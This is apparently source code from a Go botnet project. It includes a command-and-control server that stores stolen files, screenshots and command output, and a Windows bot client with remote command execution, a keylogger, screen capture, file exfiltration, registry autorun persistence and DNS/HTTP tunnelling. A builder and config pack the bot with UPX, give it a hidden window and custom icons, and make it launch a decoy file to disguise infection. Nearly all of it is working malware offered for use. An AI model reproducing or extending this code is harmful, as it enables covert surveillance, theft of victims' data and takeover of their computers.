			_, _ = db.Exec(`UPDATE users SET command='idle', command_param="", status=1, time=CURRENT_TIMESTAMP WHERE uuid=?`,
				c.Param("uuid"))

			fmt.Printf("\n command = %s, param = %s \n", command, command_param)
			fmt.Println(err)
			commandParamBase64 := base64.StdEncoding.EncodeToString([]byte(command_param))
			if err == nil {
				return c.JSON(http.StatusOK, map[string]string{
					"command":       command,
					"command_param": commandParamBase64,
				})
			}
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error",
		})

	})
	//
	//download data from malware
	//
	e.POST("/api/v1/download/:uuid", func(c echo.Context) error {
		if c.Param("uuid") != "" && c.FormValue("data") != "" && c.FormValue("filename") != "" {
			download_uuid := uuid.NewV4()
			download_base64_data := string(c.FormValue("data"))

			download_filename, _ := base64.StdEncoding.DecodeString(c.FormValue("filename"))
			//download_filename, _ := url.QueryUnescape(string(escape_download_filename))

			filename := "files/" + filepath.Clean(string(c.Param("uuid"))) + "/download_files/" + string(download_filename)
			end_filename := filepath.Clean(string(c.Param("uuid"))) + "/download_files/" + string(download_filename)

			fileHandle, _ := os.Create(filename)
			writer := bufio.NewWriter(fileHandle)
			defer fileHandle.Close()
			writeData, _ := base64.StdEncoding.DecodeString(c.FormValue("data"))
			writer.Write(writeData)
			writer.Flush()

			stmt, err := db.Prepare(`INSERT INTO download(download_uuid, uuid, download_base64_filename, download_base64_pathfile, download_base64_data)
			 			values (?, ?, ?, ?, ?)`)
			checkErr(err)

			defer stmt.Close()
			stmt.Exec(download_uuid.String(), c.Param("uuid"), download_filename, end_filename, download_base64_data)
			return c.JSON(http.StatusOK, map[string]string{
				"status": "ok",
			})
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error",
		})
	})

	//
	// upload data to malware
	//
	e.GET("/api/v1/upload/:uuid", func(c echo.Context) error {
		if c.Param("uuid") != "" {
			var upload_base64_data string
			var upload_base64_filename string
			err := db.QueryRow("SELECT upload_base64_data, upload_base64_filename FROM upload WHERE uuid=?",
				c.Param("uuid")).Scan(&upload_base64_data, &upload_base64_filename)
			checkErr(err)
			if err == nil {
				return c.JSON(http.StatusOK, map[string]string{
					"data":     upload_base64_data,
					"filename": upload_base64_filename,
				})
			}
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error",
		})
	})

	e.POST("/api/v1/output_command/:uuid", func(c echo.Context) error {
		if c.Param("uuid") != "" && c.FormValue("output") != "" && c.FormValue("command") != "" {
			output, _ := base64.StdEncoding.DecodeString(c.FormValue("output"))
			command, _ := base64.StdEncoding.DecodeString(c.FormValue("command"))

			command_uuid := uuid.NewV4()
			stmt, err := db.Prepare(`INSERT INTO output(command_uuid, uuid, command, output)
			 			values (?, ?, ?, ?)`)
			checkErr(err)

			defer stmt.Close()
			_, err = stmt.Exec(command_uuid.String(), c.Param("uuid"), string(command), string(output))
			fmt.Println(err)

			return c.JSON(http.StatusOK, map[string]string{
				"status": "ok",
			})
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error",
		})
	})

	e.POST("/api/v1/screenshot/:uuid", func(c echo.Context) error {
		if c.Param("uuid") != "" && c.FormValue("data") != "" {
			screen_uuid := uuid.NewV4()
			pathScreenshot := filepath.Clean(string(c.Param("uuid"))) + "/screenshots/" + screen_uuid.String() + ".png"

			fileHandle, _ := os.Create("files/" + pathScreenshot)
			writer := bufio.NewWriter(fileHandle)
			defer fileHandle.Close()
			writeData, _ := base64.StdEncoding.DecodeString(c.FormValue("data"))
			writer.Write([]byte(writeData))
			writer.Flush()

			stmt, err := db.Prepare(`INSERT INTO screenshots(screen_uuid, uuid, screen)
			 			values (?, ?, ?)`)
			checkErr(err)

			defer stmt.Close()
			stmt.Exec(screen_uuid.String(), c.Param("uuid"), pathScreenshot)
			return c.JSON(http.StatusOK, map[string]string{
				"status": "ok",
			})
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error",
		})
	})

	e.POST("/api/v1/admin/auth", func(c echo.Context) error {
		username := c.FormValue("username")
		password := c.FormValue("password")
		fmt.Println(username, password)
		if username == "jon" && password == "change_me" {
			token := jwt.New(jwt.SigningMethodHS256)
			claims := token.Claims.(jwt.MapClaims)
			claims["admin"] = true
			claims["name"] = "Admin"

			t, err := token.SignedString([]byte("123QWEasd"))
			if err != nil {
				return err
			}
			return c.JSON(http.StatusOK, map[string]string{
				"jwt_token": t,
			})
		}
		return echo.ErrUnauthorized
	})
	//
	// Admin API
	//
	admin := e.Group("/api/v1/admin")

	admin.Use(middleware.JWT([]byte("123QWEasd")))

	admin.GET("/get_active_users", func(c echo.Context) error {
		type Response struct {
			Uuid        string `json:"uuid"`
			IP          string `json:"ip"`
			Name        string `json:"name"`
			Command     string `json:"command"`
			Time        string `json:"time"`
			Information string `json:"information"`
			Groupid     string `json:"groupid"`
		}
		rows, err := db.Query(`SELECT uuid, ip, name, command, time, information, groupid FROM users WHERE status = 1`)
		checkErr(err)
		defer rows.Close()

		var respData []Response

		for rows.Next() {
			var resp Response
			err := rows.Scan(&resp.Uuid, &resp.IP, &resp.Name, &resp.Command, &resp.Time, &resp.Information, &resp.Groupid)
			checkErr(err)
			respData = append(respData, resp)
		}
		if err == nil {
			return c.JSON(http.StatusOK, respData)
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error"})
	})

	admin.POST("/set_command/:uuid", func(c echo.Context) error {
		if checkAdminAuth(c) == false {
			return echo.ErrUnauthorized
		}
		if c.FormValue("command") != "" {
			var command_param = ""
			if c.FormValue("command_param") != "" {
				escape_command_param, _ := base64.StdEncoding.DecodeString(c.FormValue("command_param"))
				unescape_command_param, _ := url.QueryUnescape(string(escape_command_param))
				command_param = string(unescape_command_param)
			}
			fmt.Printf("command = %s\n", command_param)
			_, err = db.Exec(`UPDATE users SET command=?, command_param=? WHERE uuid=?`,
				c.FormValue("command"), string(command_param), c.Param("uuid"))
			if err == nil {
				return c.JSON(http.StatusOK, map[string]string{
					"status": "ok",
				})
			}
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error",
		})
	})

	admin.POST("/set_file/:uuid", func(c echo.Context) error {
		if checkAdminAuth(c) == false {
			return echo.ErrUnauthorized
		}
		if c.FormValue("data") != "" && c.FormValue("filename") != "" {
			_, err := db.Exec(`UPDATE upload SET upload_base64_data=?, upload_base64_filename=? WHERE uuid=?`,
				c.FormValue("data"), c.FormValue("filename"), c.Param("uuid"))
			_, err2 := db.Exec(`UPDATE users SET command='upload', command_param="", status=1, time=CURRENT_TIMESTAMP WHERE uuid=?`,
				c.Param("uuid"))
			if err == nil && err2 == nil {
				return c.JSON(http.StatusOK, map[string]string{
					"status": "ok",
				})
			} else {
				fmt.Println(err)
			}
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error",
		})
	})

	admin.POST("/deactivate_users/", func(c echo.Context) error {
		if checkAdminAuth(c) == false {
			return echo.ErrUnauthorized
		}
		_, err = db.Exec(`UPDATE users SET status=0`)
		if err == nil {
			return c.JSON(http.StatusOK, map[string]string{
				"status": "ok",
			})
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error"})
	})

	admin.GET("/deactivate_user/:uuid", func(c echo.Context) error {
		if checkAdminAuth(c) == false {
			return echo.ErrUnauthorized
		}
		_, err = db.Exec(`UPDATE users SET status=0 WHERE uuid=?`, c.Param("uuid"))
		if err == nil {
			return c.JSON(http.StatusOK, map[string]string{
				"status": "ok",
			})
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error"})
	})

	admin.GET("/get_files/:uuid", func(c echo.Context) error {
		if checkAdminAuth(c) == false {
			return echo.ErrUnauthorized
		}
		type Response struct {
			Uuid       string `json:"uuid"`
			Base64Data string `json:"data"`
			Filename   string `json:"filename"`
		}
		rows, err := db.Query(`SELECT download_uuid, download_base64_filename, download_base64_pathfile FROM download WHERE uuid = ?`,
			c.Param("uuid"))
		checkErr(err)
		defer rows.Close()

		var respData []Response

		for rows.Next() {
			var resp Response
			err := rows.Scan(&resp.Uuid, &resp.Filename, &resp.Base64Data)
			checkErr(err)
			respData = append(respData, resp)
		}
		if err == nil {
			return c.JSON(http.StatusOK, respData)
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error"})
	})

	admin.GET("/get_screenshots/:uuid", func(c echo.Context) error {
		if checkAdminAuth(c) == false {
			return echo.ErrUnauthorized
		}
		type Response struct {
			Uuid       string `json:"uuid"`
			Base64Data string `json:"data"`
		}
		rows, err := db.Query(`SELECT screen_uuid, screen FROM screenshots WHERE uuid = ?`, c.Param("uuid"))
		checkErr(err)
		defer rows.Close()

		var respData []Response

		for rows.Next() {
			var resp Response
			err := rows.Scan(&resp.Uuid, &resp.Base64Data)
			checkErr(err)
			respData = append(respData, resp)
		}
		if err == nil {
			return c.JSON(http.StatusOK, respData)
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error"})
	})

	admin.GET("/get_output_command/:uuid", func(c echo.Context) error {
		if checkAdminAuth(c) == false {
			return echo.ErrUnauthorized
		}
		type Response struct {
			Command_uuid string `json:"command_uuid"`
			Command      string `json:"command"`
			Output       string `json:"output"`
		}
		rows, err := db.Query(`SELECT command_uuid, command, output FROM output WHERE uuid = ?`, c.Param("uuid"))
		checkErr(err)
		defer rows.Close()

		var respData []Response

		for rows.Next() {
			var resp Response
			err := rows.Scan(&resp.Command_uuid, &resp.Command, &resp.Output)
			checkErr(err)
			respData = append(respData, resp)
		}
		if err == nil {
			return c.JSON(http.StatusOK, respData)
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error"})
	})

	e.Run(standard.New("0.0.0.0:8090"))
}


================================================
FILE: client/configuration.toml
================================================
#GO BOT Config

[buildconf]
gobotnetPath 		=	"D:/WorkSpace/GoProjects/github.com/gobotnet/"
buildFlags 			=	"-ldflags \"-w -s -H=windowsgui\""
readyFolder 		=	"ready/"   
upxPath 			=	"C:/upx391w/upx.exe"
ffFolderPath 		=	""
icoFolderPath 		=	""
ffarray 			= [
						"fakefiles/test.rar"
				    ]
icoarray 			= [
						"icons/test.ico"
				  	]

rsrcPath 			=	"D:/WorkSpace/GoProjects/github.com/gobotnet/client/utils/rsrc.exe"
sysoName 			=	"main.syso"
defaultExeName 		=	"as32.exe"
copyNameFromFF 		=	true
usingErrorMessage 	=	false

[variables]
usingDNS 			=	true
usingHTTP			= 	true
rewriteExe 			=	true
launchFakeFile 		= 	true  
usingRegistry  		= 	true
usingAutorun   		= 	true                          
debugMode      		= 	false                         
attemptCount   		= 1
dnsAddress     		= "domain.ru"
winHttpTimeout 		= [
						0, 
						60000, 
						30000, 
						30000
					]
firstInterface 		=	"HTTP"
usingGroupId 		= 	true 
countGroups 		= 	5

[servers]
urls 				= [
						"8.8.8.8"
					]

ports 				= [
						80
					]

================================================
FILE: client/fakefiles/test.txt
================================================
TESTTESTSETEETSTESTSETESTSETTSDS

================================================
FILE: client/main.go
================================================
package main

import (
	"addfile"
	"bytes"
	"fmt"
	"gobotnet"
	"math/rand"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"syscall"
	"time"
	"wrapper"
)

var (
	/********CONFIG*********/
	usingHTTP          bool
	usingDNS           bool //Включает использование днс туннеля
	launchFakeFile     bool //включает запуск фейкового файла экселя/ворда и т.д. Файл должен быть записан в addfile.go
	rewriteExe         bool
	usingAutorun       bool
	usingRegistry      bool   //включает или выключает сохранение в реестр токена и id используемого командного сервера и попытки загрузки его
	debugMode          bool   //включает или выключает вывод информации
	attemptCount       int    //количество попыток получить команду от сервера, если все попытки неудачные бот будет искать следующий сервер
	dnsAddress         string //DNS имя сервера
	winHttpTimeout     []int  //установка timeout для winhttp https://msdn.microsoft.com/ru-ru/library/windows/desktop/aa384116(v=vs.85).aspx
	botNetUrlArray     []string
	botNetPortArray    []int
	messageExchange    wrapper.MessageExchange = wrapper.HttpMessageExchange{} //Интерфейс протокола DNS или HTTP
	groupId            string
	whoamiInfo         []byte
	ipconfigInfo       []byte
	compressScreenshot bool = false
)

const (
	MAX_WAIT_TIME = 10 //Верхняя граница для рандомного времени между запросами к серверу
	NAME_LEN      = 32 //Длина уникального имени генерируемого ботом
	//строки команд
	WHOAMI       = "whoami"
	IPCONFIG     = "ipconfig"
	CMD_IDLE     = "idle"
	CMD_EXEC     = "exec"
	CMD_DOWNLOAD = "download"
	CMD_UPLOAD   = "upload"
	CMD_SCREEN   = "screenshot"
	CMD_DESTROY  = "destroy"
	KEYLOG       = "keys"
	KEYLOG_STOP  = "keysStop"
	STATUS_ERROR = "error"

	TYPE_REG         = 1
	TYPE_GET_COMMAND = 2
	TYPE_HTTP        = 1
	TYPE_DNS         = 2
)

//Выполнняем команду в консоли
func execute(token string, param string) (r_code int) {
	output, _ := gobotnet.CmdExecOrig(param)
	r_code, _ = messageExchange.ApiOutputCommand(token, param, output)
	return r_code
}

//Проверяем сервер с помоьщю get_command с известным токеном
func checkServer(index int, token string) (alive bool, reg bool) {
	wrapper.SetBotNetUrl(index)
	code, _, err := messageExchange.ApiGetCommand(token)
	if code == 1 {
		//Возвращаем если сервер жив и токен валидный
		return true, true
	} else if err == STATUS_ERROR {
		//Возвращаем если сервер жив и токен невалидный
		return true, false
	} else {
		//Если сервер не отвечат
		return false, false
	}
}

//Проверяем индекс, чтобы не выходил за пределы массива
func checkValidIndex(index int) (valid bool) {
	if index >= 0 && index < wrapper.GetUrlArrayLen() {
		return true
	} else {
		return false
	}
}

//Пытаемся зарегистрироваться на сервере с указанным индексом
//Возвращаем токен, если получилось, и пустую строку если нет
func tryRegistration(url_index int) string {
	wrapper.SetBotNetUrl(url_index)
	r_code, token := messageExchange.ApiRegister(string(whoamiInfo), []byte(string(whoamiInfo)+string(ipconfigInfo)), groupId)
	//Если токен получили
	if r_code == 1 && len(token) > 0 {
		gobotnet.OutMessage("Get token: " + token)
		//Если включаена работа с реестром, то сохраняем токен и индекс сервера
		if usingRegistry {
			gobotnet.SaveUrlToRegistry(strconv.Itoa(url_index))
			gobotnet.SaveTokenToRegistry(token)
		} else {
			gobotnet.OutMessage("Work with registry is off")
		}
		return token
	} else {
		time.Sleep(time.Second * time.Duration(rand.Intn(MAX_WAIT_TIME)))
	}
	return ""
}

//Функция слушает сервер и отвечает
func startListen(token string, url_index int) (r_code int) {
	//устанавливаем полученный сервер по индексу
	wrapper.SetBotNetUrl(url_index)
	r_code = 1

	//Создаем chan для кейлогера
	keyLogStopChan := make(chan int)

	for r_code > 0 {
		attempt_connect := 0
		var command string
		var param string
		//пробуем получить команду от сервера несколько раз
		for attempt_connect < attemptCount {
			var code int
			time.Sleep(time.Second * time.Duration(rand.Intn(MAX_WAIT_TIME)))
			code, command, param = messageExchange.ApiGetCommand(token)
			r_code = code
			//Если код = 1 значит команда пришла
			if r_code == 1 {
				break
			}
			attempt_connect++
		}

		//Если ничего вообще не получили от сервера - выходим
		if r_code == 0 {
			token = ""
			break
		}

		switch command {
		//Ожидание - ничео не делаем
		case CMD_IDLE:
			break
		//Выполняем команду в консоли в отдельном потоке
		case CMD_EXEC:
			go execute(token, param)
		//Делаем скрин и отправляем
		case CMD_SCREEN:
			img, _ := gobotnet.CaptureScreen(compressScreenshot)
			if len(img) > 0 {
				r_code, _ = messageExchange.ApiScreenshot(token, img)
			}
		//Загружаем файл на машину
		case CMD_UPLOAD:
			r_code, _ = messageExchange.ApiUploadFile(token, gobotnet.GetFullPathBotDir()+"\\")
		//Выгружаем файл на сервер
		case CMD_DOWNLOAD:
			fileBytes, err := gobotnet.ReadFile(param)
			if err == nil {
				gobotnet.OutMessage("Get filename = " + filepath.Base(param))
				gobotnet.OutMessage("Read bytes from file = " + strconv.Itoa(len(fileBytes)))
				r_code, _ = messageExchange.ApiDownloadFile(token, filepath.Base(param), fileBytes)
			}
		//Самоуничтожение
		case CMD_DESTROY:
			gobotnet.UnRegistryFromConsole(usingRegistry)
			r_code = -1
			os.Exit(1)
		//Келогер
		case KEYLOG:
			go func() {
				var buff bytes.Buffer
				for {
					select {
					case <-keyLogStopChan:
						r_code, _ = messageExchange.ApiOutputCommand(token, "keys", buff.Bytes())
						return
					default:
						i, err := gobotnet.KeyLog()
						buff.WriteByte(byte(i))

						if err != nil {
							fmt.Println(i)
						}
						time.Sleep(1 * time.Microsecond)
					}
				}
			}()
		case KEYLOG_STOP:
			keyLogStopChan <- 1
		}
	}
	return r_code
}

//Запускаем фейк файл
//Файл берется из src/addfile/addfile.go
//Записывается в папку в которой расположен exe и затем запускается

func runFakeFile() {
	//path := gobotnet.GetFullPathBotDir()

	file := addfile.GetAdditionFile()
	filename := addfile.GetAdditionFileName()
	//er := gobotnet.CreateDir(path, 0777)
	/*if !er {
	return
	}*/
	//fullname := path + "\\" + filename

	err := gobotnet.CreateFileAndWriteData(filename, file)
	if err != nil {
		return
	}

	cmd := exec.Command("cmd", "/C", filename)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
	cmd.Start()

}

//Функция тестирующая коннект к серверу,
//typeMessage - TYPE_REG - нет токена, пытаемся регистрироваться или TYPE_GET_COMMAND токен есть, пытаемся подключиться к доступному серверу
//type_req - используемый протокол TYPE_HTTP или TYPE_DNS
//token - токен
//start_id_server - начальный индекс сервера из массива botNetUrlArray, обычно не 0, если используем какой-то известный сервер
//Возвращает токен и индекс сервера
func testServer(typeMessage int, type_req int, token string, start_id_server int) (token_res string, id_server int) {
	for {
		for i := start_id_server; i < len(botNetUrlArray); i++ {
			//fmt.Printf("attempt: %d\n", i)
			//Устанавливаем i-ый номер URL сервера
			wrapper.SetBotNetUrl(i)

			if type_req == TYPE_REG {
				//Пытаемся зарегистрироваться
				token = ""
				token = tryRegistration(i)
				if token != "" {
					return token, i
				}

			} else if type_req == TYPE_GET_COMMAND {
				//Считаем что у нас есть токен и чекаем сервер
				alive, reg := checkServer(i, token)
				//fmt.Printf("alive reg: %t %t \n", alive, reg)
				//Если сервер жив и такой токен зарегистрирован у него
				if alive && reg {
					return token, i
					//Если сервер жив, но такого токена не знает
				} else if alive && !reg {
					type_req = TYPE_REG
					i = -1
					continue
				}
			}

			//Это здесь для того, чтобы пробовать подключиться по DNS только один раз
			if typeMessage == TYPE_DNS {
				break
			}
		}

		//Если ничего не получилось пробуем другой протокол
		if typeMessage == TYPE_DNS {
			if usingHTTP {
				typeMessage = TYPE_HTTP
				messageExchange = wrapper.HttpMessageExchange{}
				compressScreenshot = false
			}
			//fmt.Println("Http")
		} else {
			if usingDNS {
				typeMessage = TYPE_DNS
				messageExchange = wrapper.DnsMessageExchange{}
				compressScreenshot = true
				//fmt.Println("DNS")
			}
		}
		start_id_server = 0
	}
}

func setupConfig() {

	usingDNS = addfile.GetUsingDns()
	usingHTTP = addfile.GetUsingHttp()
	launchFakeFile = addfile.GetLaunchFakeFile()
	rewriteExe = addfile.GetRewriteExe()
	usingAutorun = addfile.GetUsingAutorun()
	usingRegistry = addfile.GetUsingRegistry()
	debugMode = addfile.GetDebugMode()
	attemptCount = addfile.GetAttempCount()
	dnsAddress = addfile.GetDnsAddress()
	winHttpTimeout = addfile.GetWinHttpTimeout()
	botNetUrlArray = addfile.GetServerUrls()
	botNetPortArray = addfile.GetServerPorts()
	groupId = addfile.GetGroupId()

	if addfile.GetFirstInterface() == "HTTP" {
		messageExchange = wrapper.HttpMessageExchange{}

	} else if addfile.GetFirstInterface() == "DNS" {
		messageExchange = wrapper.DnsMessageExchange{}
	} else {
		gobotnet.OutMessage("ERROR Unknown protocol interface. Setting HTTP")
		messageExchange = wrapper.HttpMessageExchange{}
	}

}

func main() {

	setupConfig()

	//Инициализируем необходимые значения
	wrapper.SetUrlAndPortArrays(botNetUrlArray, botNetPortArray)
	wrapper.SetWinHttpTimeout(winHttpTimeout)
	wrapper.SetDnsURL(dnsAddress)
	gobotnet.SetDebugMode(debugMode)
	rand.Seed(time.Now().UnixNano())
	/*
		if registrationOnTachilla {
			if gobotnet.RegistryFromConsole() {
				if launchFakeFile {
					runFakeFile()
				} else {
					gobotnet.OutMessage("Launch fake file off")
				}
			}
		} else {
			gobotnet.OutMessage("Registration is off")
		}
	*/

	// Запускаем фейк файл если нужно
	if launchFakeFile {
		runFakeFile()
	} else {
		gobotnet.OutMessage("Launch fake file off")
	}

	// Сохраняем exe файл в папку %username%/appdata/roaming/asocialfriend
	// И если включена работа с реестром (usingRegistry) то бот зарегистрируется в автозапуске
	gobotnet.RegistryFromConsole(usingAutorun, usingRegistry, rewriteExe)

	token := ""
	url_index := 0

	//Проверяем есть ли уже сохраненный токе в реестре или нет
	if usingRegistry {
		token = gobotnet.GetTokenFromRegistry()
		gobotnet.OutMessage("Get token from registry:" + token)
		url_index, _ = strconv.Atoi(gobotnet.GetUrlFromRegistry())
	} else {
		gobotnet.OutMessage("Work with registry is off")
	}

	//Сохраняем вывод команд, который пошлем после регистрации
	whoamiInfo, _ = gobotnet.CmdExecOrig(WHOAMI)
	ipconfigInfo, _ = gobotnet.CmdExecOrig(IPCONFIG)
	if len(whoamiInfo) == 0 {
		whoamiInfo = []byte(gobotnet.RandStringRunes(NAME_LEN))
	}
	if len(ipconfigInfo) == 0 {
		ipconfigInfo = []byte(gobotnet.RandStringRunes(NAME_LEN))
	}

	for {

		//Проверяем валидный ли токен и валидный ли индекс сервера
		//Токен и индекс могли быть получены из реестра
		if len(token) > 0 && checkValidIndex(url_index) {
			//Если все ок, тестируем коннект к серверу
			token, url_index = testServer(TYPE_HTTP, TYPE_GET_COMMAND, token, url_index)
		} else {
			//Если не ок пытаемся зарегистрироваться на каком-либо сервере
			token, url_index = testServer(TYPE_HTTP, TYPE_REG, token, 0)
		}

		//fmt.Println("Token = " + token + " Index = " + strconv.Itoa(url_index))
		//На этом шаге токен и индекс сервера должны быть точно валидные
		//Начинаем слушать команды от сервера
		startListen(token, url_index)

		//Если бот вышел из startListen то скорее всего соединение отвалилось или сервер упал
		//В этом случае будем искать сервер заново
		url_index = 0
		messageExchange = wrapper.HttpMessageExchange{}

	}
}


================================================
FILE: client/utils/CreateSourceForFakeLaunchFile.go
================================================
package main

import (
	"encoding/base64"
	"fmt"
	"os"
	"path/filepath"
)

func main() {

	gobotnetPath := os.Args[1]
	fullpath := os.Args[2]
	filename := filepath.Base(fullpath)

	input, err := os.Open(fullpath)

	if err != nil {
		fmt.Println(err)
		return
	}
	fi, err := input.Stat()
	if err != nil {
		fmt.Println(err)
		return
	}
	b1 := make([]byte, fi.Size())
	_, err = input.Read(b1)

	if err != nil {
		fmt.Println(err)
		return
	}

	encoded_file := base64.StdEncoding.EncodeToString(b1)
	all_data := "package addfile\n\nimport (\n\"encoding/base64\"\n)\n\nconst (\n str_file = \"" + encoded_file + "\"\n filename=\"" + filename + "\"\n)\n\nfunc GetAdditionFile()(file []byte) {\n decoded,_ := base64.StdEncoding.DecodeString(str_file) \n return decoded\n}\n\nfunc GetAdditionFileName()(name string) {\nreturn filename\n}\n"
	output, err := os.Create(gobotnetPath + "src/addfile/addfile.go")
	if err != nil {
		fmt.Println(err)
		return
	}

	_, err = output.Write([]byte(all_data))
	if err != nil {
		fmt.Println(err)
		return
	}

}


================================================
FILE: client/utils/TestLaunchFakeFile.go
================================================
package main

import (
	"addfile"
	"fmt"
	"os"
	"os/exec"
)

func main() {

	file := addfile.GetAdditionFile()
	filename := addfile.GetAdditionFileName()
	fullpath := filename //"C:\\Users\\Ilja\\AppData\\Roaming\\AsocialFriend\\" + filename
	output, err := os.Create(fullpath)
	if err != nil {
		fmt.Println(err)
	}
	_, err = output.Write([]byte(file))

	if err != nil {
		fmt.Println(err)
	}

	//	fmt.Println(fullpath)

	output.Close()
	er := exec.Command("cmd", "/C", fullpath).Start()

	if er != nil {
		fmt.Println(er)
	}
}


================================================
FILE: client/utils/makebot.go
================================================
package main

import (
	"encoding/base64"
	"fmt"
	"github.com/BurntSushi/toml"
	"github.com/aglyzov/charmap"
	"github.com/satori/go.uuid"
	"github.com/shiena/ansicolor"
	"io"
	"io/ioutil"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"strings"
	"time"
)

type Config struct {
	BuildConf buildconf
	Variables variables
	Servers   servers
}

type buildconf struct {
	GobotnetPath      string
	BuildFlags        string
	ReadyFolder       string
	UPXPath           string
	FFFolderPath      string
	IcoFolderPath     string
	FFArray           []string
	IcoArray          []string
	RsrcPath          string
	SysoName          string
	DefaultExeName    string
	CopyNameFromFF    bool
	UsingErrorMessage bool
}

type variables struct {
	UsingDNS       bool
	UsingHTTP      bool
	RewriteExe     bool
	LaunchFakeFile bool
	UsingRegistry  bool
	UsingAutorun   bool
	DebugMode      bool
	AttemptCount   int
	DnsAddress     string
	WinHttpTimeout []int
	FirstInterface string
	UsingGroupId   bool
	CountGroups    int
}

type servers struct {
	Urls  []string
	Ports []int
}

var (
	FFarray        []string
	Iconsarray     []string
	BuildToolName  = "buildtemp.bat"
	gobuildExeName = "client.exe"
)

func CmdExecOrig(cmd string) ([]byte, error) {
	cmd_split := strings.Split(cmd, "@")
	params := make([]string, len(cmd_split)+2)
	params[0] = "/Q"
	params[1] = "/C"
	copy(params[2:], cmd_split[:])

	cmd_li := exec.Command("cmd", params...)
	//cmd_li.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} //Это необходимо для того что бы CMD запускалось в скрытом режиме
	output, err := cmd_li.Output()

	if output != nil && len(output) > 0 {
		return charmap.CP866_to_UTF8(output), nil
	} else {
		return output, err
	}
}

func createAdditionFileSource(path string, gobotnetPath string) {
	filename := filepath.Base(path)
	input, err := os.Open(path)
	if err != nil {
		handleError("in create AdditionFileSource. ", err)
		return
	}
	fi, err := input.Stat()
	if err != nil {
		handleError("in create AdditionFileSource. ", err)
		return
	}
	b1 := make([]byte, fi.Size())
	_, err = input.Read(b1)

	if err != nil {
		handleError("in create AdditionFileSource. ", err)
		return
	}

	encoded_file := base64.StdEncoding.EncodeToString(b1)
	all_data := "package addfile\n\nimport (\n\"encoding/base64\"\n)\n\nconst (\n str_file = \"" + encoded_file + "\"\n filename=\"" + filename + "\"\n)\n\nfunc GetAdditionFile()(file []byte) {\n decoded,_ := base64.StdEncoding.DecodeString(str_file) \n return decoded\n}\n\nfunc GetAdditionFileName()(name string) {\nreturn filename\n}\n"
	output, err := os.Create(gobotnetPath + "src/addfile/addfile.go")
	if err != nil {
		handleError("in create AdditionFileSource. ", err)
		return
	}

	_, err = output.Write([]byte(all_data))
	if err != nil {
		handleError("in create AdditionFileSource. ", err)
		return
	}
}

func CheckError(err error) bool {
	if err != nil {
		//	OutMessage(err.Error())
		return true
	}
	return false
}

func CheckFileExist(filePath string) bool {
	if _, err := os.Stat(filePath); os.IsNotExist(err) {
		CheckError(err)
		return false
	} else {
		return true
	}
}

func CopyFileToDirectory(pathSourceFile string, pathDestFile string) error {
	sourceFile, err := os.Open(pathSourceFile)
	if CheckError(err) {
		handleError("in create CopyFileToDirectory. ", err)
		return err
	}
	defer sourceFile.Close()

	destFile, err := os.Create(pathDestFile)
	if CheckError(err) {
		handleError("in create CopyFileToDirectory. ", err)
		return err
	}
	defer destFile.Close()

	_, err = io.Copy(destFile, sourceFile)
	if CheckError(err) {
		handleError("in create CopyFileToDirectory. ", err)
		return err
	}

	err = destFile.Sync()
	if CheckError(err) {
		handleError("in create CopyFileToDirectory. ", err)
		return err
	}

	sourceFileInfo, err := sourceFile.Stat()
	if CheckError(err) {
		handleError("in create CopyFileToDirectory. ", err)
		return err
	}

	destFileInfo, err := destFile.Stat()
	if CheckError(err) {
		handleError("in create CopyFileToDirectory. ", err)
		return err
	}

	if sourceFileInfo.Size() == destFileInfo.Size() {
	} else {
		handleError("in create CopyFileToDirectory. ", err)
		CheckError(err)
		return err
	}
	return nil
}

func createBuildTempTool(flags string) {

	all_data := "go build " + flags
	output, err := os.Create(BuildToolName)
	if err != nil {
		handleError("in create "+BuildToolName+". ", err)
		return
	}

	_, err = output.Write([]byte(all_data))
	if err != nil {
		handleError("in create "+BuildToolName+". ", err)
		return
	}

}

func createAdditionConfFile(FFlaunch bool, conf Config, gobotnetPath string, uuid_str string) {

	urlsData := ""

	for i, _ := range conf.Servers.Urls {
		urlsData += "\"" + conf.Servers.Urls[i] + "\""
		if i+1 != len(conf.Servers.Urls) {
			urlsData += ","
		}

	}

	portsData := ""
	for i, _ := range conf.Servers.Ports {
		portsData += strconv.Itoa(conf.Servers.Ports[i])
		if i+1 != len(conf.Servers.Ports) {
			portsData += ","
		}

	}

	all_data := `package addfile

	var (
		usingDNS 			= 	` + strconv.FormatBool(conf.Variables.UsingDNS) + `
		usingHTTP			= 	` + strconv.FormatBool(conf.Variables.UsingHTTP) + `
		launchFakeFile 		= 	` + strconv.FormatBool(FFlaunch) + `  
		usingRegistry  		= 	` + strconv.FormatBool(conf.Variables.UsingRegistry) + `  
		usingAutorun  		= 	` + strconv.FormatBool(conf.Variables.UsingAutorun) + `                        
		debugMode      		= 	` + strconv.FormatBool(conf.Variables.DebugMode) + `                         
		attemptCount   		= 	` + strconv.Itoa(conf.Variables.AttemptCount) + `
		dnsAddress     		= 	"` + conf.Variables.DnsAddress + `"
		winHttpTimeout 		= 	[]int{` + strconv.Itoa(conf.Variables.WinHttpTimeout[0]) + `, ` + strconv.Itoa(conf.Variables.WinHttpTimeout[1]) + `, ` + strconv.Itoa(conf.Variables.WinHttpTimeout[2]) + `, ` + strconv.Itoa(conf.Variables.WinHttpTimeout[3]) + `}
		firstInterface 		= 	"` + conf.Variables.FirstInterface + `"
		rewriteExe 			= 	` + strconv.FormatBool(conf.Variables.RewriteExe) + `
		groupId 			= 	"` + uuid_str + `"
		usingErrorMessage 	= 	` + strconv.FormatBool(conf.BuildConf.UsingErrorMessage) + `
		urls 				= 	[]string{` + urlsData + `}

